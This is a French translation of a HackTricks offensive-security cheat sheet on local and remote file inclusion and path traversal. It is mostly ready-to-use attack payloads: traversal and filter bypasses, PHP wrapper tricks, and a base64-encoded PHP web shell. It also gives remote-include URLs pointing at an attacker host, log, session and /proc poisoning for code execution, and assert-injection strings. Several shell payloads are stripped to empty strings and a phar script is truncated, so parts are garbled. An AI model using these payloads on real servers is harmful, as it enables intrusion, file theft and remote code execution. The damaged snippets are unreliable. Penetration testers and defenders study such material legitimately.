# Inclusion de Fichier/Traversée de Chemin
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs ! **Aperçus du Piratage**\ Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage **Nouvelles du Piratage en Temps Réel**\ Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel **Dernières Annonces**\ Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! ## Inclusion de Fichier **Inclusion de Fichier Distant (RFI) :** Le fichier est chargé depuis un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, ceci est **désactivé** par défaut (**allow\_url\_include**).\ **Inclusion de Fichier Local (LFI) :** Le serveur charge un fichier local. La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur. **Fonctions PHP vulnérables** : require, require\_once, include, include\_once Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Aveugle - Intéressant - Fichiers LFI2RCE ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} Essayez également de changer `/` par `\`\ Essayez aussi d'ajouter `../../../../../` Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** En fusionnant plusieurs listes, j'ai créé : {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} Essayez également de changer `/` par `\`\ Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../` Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Vérifiez la liste LFI de linux. ## LFI de base et contournements Tous les exemples sont pour l'Inclusion de Fichier Local mais pourraient aussi être appliqués à l'Inclusion de Fichier Distant (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### séquences de traversée supprimées de manière non récursive ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Octet nul (%00)** Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Ce problème est **résolu depuis PHP 5.4** ### **Encodage** Vous pourriez utiliser des encodages non standard tels que le double encodage d'URL (et d'autres) : ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Depuis un dossier existant Peut-être que le back-end vérifie le chemin du dossier : ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Identification des dossiers sur un serveur Selon le code applicatif / les caractères autorisés, il pourrait être possible d'explorer récursivement le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire : * identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès `/etc/passwd` (si sous Linux) : ``` http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` * essayez de deviner le nom d'un dossier dans le répertoire courant en ajoutant le nom du dossier (ici, `private`), puis en revenant à `/etc/passwd` : ``` http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd ``` * si l'application est vulnérable, il pourrait y avoir deux résultats différents à la requête : * si vous obtenez une erreur / pas de sortie, le dossier `private` n'existe pas à cet emplacement * si vous obtenez le contenu de `/etc/passwd`, vous avez validé qu'il y a effectivement un dossier `private` dans votre répertoire courant * le(s) dossier(s) que vous avez découvert en utilisant cette technique peuvent ensuite être explorés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-dossiers en utilisant la même technique de manière récursive. Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, sous la même hypothèse (répertoire courant à la profondeur 3 du système de fichiers), vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez le payload suivant : ``` http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` La séquence de commandes suivante permet la génération de charges utiles en utilisant `sed` (1) comme entrée pour des outils de fuzzing d'URL tels que `ffuf` (2) : ``` $ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt $ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root" $ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save' ``` Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée. ### **Troncature de chemin** Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php") ``` In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/. Check if last 6 chars are passwd --> passwd/ Check if last 4 chars are ".php" --> shellcode.php/. ``` ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. #With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027) http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Toujours essayer de **commencer** le chemin **avec un répertoire factice** (a/). **Cette vulnérabilité a été corrigée dans PHP 5.3.** ### **Astuces pour contourner les filtres** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Inclusion de fichier à distance En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une exécution de code à distance (RCE) : ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une exécution de code à distance (RCE) : {% code overflow="wrap" %} ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` {% endcode %} {% hint style="info" %} Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie retournera juste des données inutiles et le vrai code PHP sera inclus (et donc, exécuté). {% endhint %} Un autre exemple **sans utiliser le protocole `php://`** serait : {% code overflow="wrap" %} ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Élément racine Python En python dans un code comme celui-ci : ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Si l'utilisateur transmet un **chemin absolu** à **`file_name`**, **le chemin précédent est simplement supprimé** : ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Voici le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) : > Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu. ## Java List Directories Il semble que si vous avez une Traversal de chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, **une liste du répertoire est retournée**. Ce comportement ne se produira pas dans d'autres langages (à ma connaissance). ## Top 25 paramètres Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (depuis [lien](https://twitter.com/trbughunters/status/1279768631845494787)) : ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI en utilisant les protocoles et wrappers PHP ### php://filter Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres : * [Filtres de chaînes](https://www.php.net/manual/fr/filters.string.php) : * `string.rot13` * `string.toupper` * `string.tolower` * `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">") * Notez que ce filtre a disparu des versions modernes de PHP * [Filtres de conversion](https://www.php.net/manual/fr/filters.convert.php) * `convert.base64-encode` * `convert.base64-decode` * `convert.quoted-printable-encode` * `convert.quoted-printable-decode` * `convert.iconv.*` : Transforme en un encodage différent (`convert.iconv..`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l` {% hint style="warning" %} En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via les filtres PHP**](lfi2rce-via-php-filters.md). {% endhint %} * [Filtres de compression](https://www.php.net/manual/fr/filters.compression.php) * `zlib.deflate` : Compresse le contenu (utile si exfiltration de beaucoup d'informations) * `zlib.inflate` : Décompresse les données * [Filtres de chiffrement](https://www.php.net/manual/fr/filters.encryption.php) * `mcrypt.*` : Obsolète * `mdecrypt.*` : Obsolète * Autres filtres * En exécutant `var_dump(stream_get_filters());` dans PHP, vous pouvez trouver quelques **filtres inattendus** : * `consumed` * `dechunk` : inverse l'encodage HTTP en morceaux * `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` {% hint style="warning" %} La partie "php://filter" n'est pas sensible à la casse {% endhint %} ### php://fd Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts : ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **descripteurs de fichiers 0, 1 et 2** respectivement (pas sûr de l'utilité de cela dans une attaque) ### zip:// et rar:// Téléchargez un fichier Zip ou Rar contenant un PHPShell et accédez-y.\ Pour pouvoir abuser du protocole rar, il doit **être spécifiquement activé**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fait amusant : vous pouvez déclencher un XSS et contourner l'auditeur Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`** ### expect:// Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci. ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Spécifiez votre payload dans les paramètres POST ``` http://example.com/index.php?page=php://input POST DATA: ``` ### phar:// Un fichier `.phar` peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme `include` pour charger le fichier. {% code title="create_phar.php" %} ```python startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` ```markdown {% endcode %} Et vous pouvez compiler le `phar` en exécutant la ligne suivante : ``` ```bash php --define phar.readonly=0 create_path.php ``` Un fichier appelé `test.phar` sera généré que vous pouvez utiliser pour exploiter la LFI. Si la LFI se contente de lire le fichier et n'exécute pas le code PHP à l'intérieur, par exemple en utilisant des fonctions comme _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Vous pouvez essayer d'exploiter une **désérialisation** survenant lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\ Pour plus d'informations, lisez le post suivant : {% content-ref url="phar-deserialization.md" %} [phar-deserialization.md](phar-deserialization.md) {% endcontent-ref %} ### Plus de protocoles Vérifiez plus de [**protocoles possibles à inclure ici**](https://www.php.net/manual/fr/wrappers.php)**:** * [php://memory et php://temp](https://www.php.net/manual/fr/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque par inclusion de fichier) * [file://](https://www.php.net/manual/fr/wrappers.file.php) — Accès au système de fichiers local * [http://](https://www.php.net/manual/fr/wrappers.http.php) — Accès aux URL HTTP(s) * [ftp://](https://www.php.net/manual/fr/wrappers.ftp.php) — Accès aux URL FTP(s) * [zlib://](https://www.php.net/manual/fr/wrappers.compression.php) — Flux de compression * [glob://](https://www.php.net/manual/fr/wrappers.glob.php) — Recherche de chemins correspondant à un motif (Il ne retourne rien d'imprimable, donc pas vraiment utile ici) * [ssh2://](https://www.php.net/manual/fr/wrappers.ssh2.php) — Secure Shell 2 * [ogg://](https://www.php.net/manual/fr/wrappers.audio.php) — Flux audio (Inutile pour lire des fichiers arbitraires) ## LFI via l'assertion de PHP Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée comme ".." et répond par quelque chose comme "Tentative de piratage" ou "Bien essayé !", un payload d'injection 'assert' peut fonctionner. Un payload comme celui-ci : ``` ' and die(show_source('/etc/passwd')) or ' ``` réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci : ```bash assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); ``` Il est également possible d'obtenir un RCE dans une instruction "assert" vulnérable en utilisant la fonction system() : ``` ' and die(system("whoami")) or ' ``` Assurez-vous d'encoder les URL des charges utiles avant de les envoyer.
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs ! **Aperçus du Hacking**\ Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking **Nouvelles du Hacking en Temps Réel**\ Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel **Dernières Annonces**\ Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! ## PHP Blind Path Traversal {% hint style="warning" %} Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui accédera à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**), mais le contenu n'est pas affiché. {% endhint %} Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un blind path traversal peut être exploité via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**. En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**. Ensuite, afin de fuiter le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les fuiter**. **Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (seulement cible en lecture seule avec ceci)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Pour les détails techniques, consultez l'article mentionné ! ## LFI2RCE ### Inclusion de Fichier à Distance Expliqué précédemment, [**suivez ce lien**](./#remote-file-inclusion). ### Via le fichier log Apache/Nginx Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction include, vous pourriez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, définir à l'intérieur de **l'agent utilisateur** ou dans un **paramètre GET** un shell PHP comme **``** et inclure ce fichier {% hint style="warning" %} Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** et **rien d'autre ne sera exécuté**. De plus, assurez-vous d'**écrire correctement la charge utile** ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier log et vous n'aurez pas de seconde chance. {% endhint %} Cela pourrait également être fait dans d'autres logs mais **soyez prudent,** le code à l'intérieur des logs pourrait être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des logs. Le PHPShell pourrait être inséré à l'intérieur de cet en-tête.\ Autres chemins de logs possibles : ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` Liste de fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Via Email **Envoyez un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `` et essayez d'inclure le mail de l'utilisateur avec un chemin tel que **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* 1. Téléchargez beaucoup de shells (par exemple : 100) 2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé par brute force) et $FD le descripteur de fichier (peut aussi être forcé par brute force) ### Via /proc/self/environ Comme un fichier log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via téléchargement Si vous pouvez télécharger un fichier, injectez simplement le payload de la coquille dedans (par exemple : ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Afin de maintenir le fichier lisible, il est préférable d'injecter dans les métadonnées des images/documents/PDF ### Via l'upload de fichier Zip Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez : ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Via les sessions PHP Vérifiez si le site utilise une session PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Définissez le cookie à `` ``` login=1&user=&pass=password&lang=en_us.php ``` Utilisez le LFI pour inclure le fichier de session PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\/.ssh/id\_rsa** ### **Via** **vsftpd** _**logs**_ Les logs de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez un LFI et pouvez accéder à un serveur vsftpd exposé, vous pourriez essayer de vous connecter en définissant le payload PHP dans le nom d'utilisateur, puis accéder aux logs en utilisant le LFI. ### Via le filtre base64 de php (utilisant base64) comme montré dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre base64 de PHP ignore simplement les Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de payload : ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Via php filters (no file needed) Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin d'écrire** dans un fichier. {% content-ref url="lfi2rce-via-php-filters.md" %} [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) {% endcontent-ref %} ### Via segmentation fault **Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête**, déclenchez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher. {% content-ref url="lfi2rce-via-segmentation-fault.md" %} [lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md) {% endcontent-ref %} ### Via Nginx temp file storage Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est utilisé devant PHP, vous pourriez obtenir un RCE avec la technique suivante : {% content-ref url="lfi2rce-via-nginx-temp-files.md" %} [lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md) {% endcontent-ref %} ### Via PHP\_SESSION\_UPLOAD\_PROGRESS Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est sur `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez abuser de cela pour obtenir un RCE : {% content-ref url="via-php_session_upload_progress.md" %} [via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md) {% endcontent-ref %} ### Via temp file uploads in Windows Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir un RCE : {% content-ref url="lfi2rce-via-temp-file-uploads.md" %} [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} ### Via phpinfo() (file\_uploads = on) Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file\_uploads = on, vous pouvez obtenir un RCE : {% content-ref url="lfi2rce-via-phpinfo.md" %} [lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md) {% endcontent-ref %} ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Condition de Course** : {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} [lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md) {% endcontent-ref %} ### Via eternal waiting + bruteforce Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire en sorte que le serveur **suspende** l'exécution de PHP, vous pourriez alors **forcer brutalement les noms de fichiers pendant des heures** pour trouver le fichier temporaire : {% content-ref url="lfi2rce-via-eternal-waiting.md" %} [lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md) {% endcontent-ref %} ### To Fatal Error Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur). **Je ne sais pas comment cela peut être utile, mais cela pourrait l'être.**\ _Même si vous provoquez une Erreur Fatale PHP, les fichiers temporaires téléchargés sont supprimés._
## Références [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\ [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs ! **Aperçus de Hacking**\ Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking. **Actualités Hack en Temps Réel**\ Restez à jour avec le monde du hacking en évolution rapide grâce à des nouvelles et des aperçus en temps réel. **Dernières Annonces**\ Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme. **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
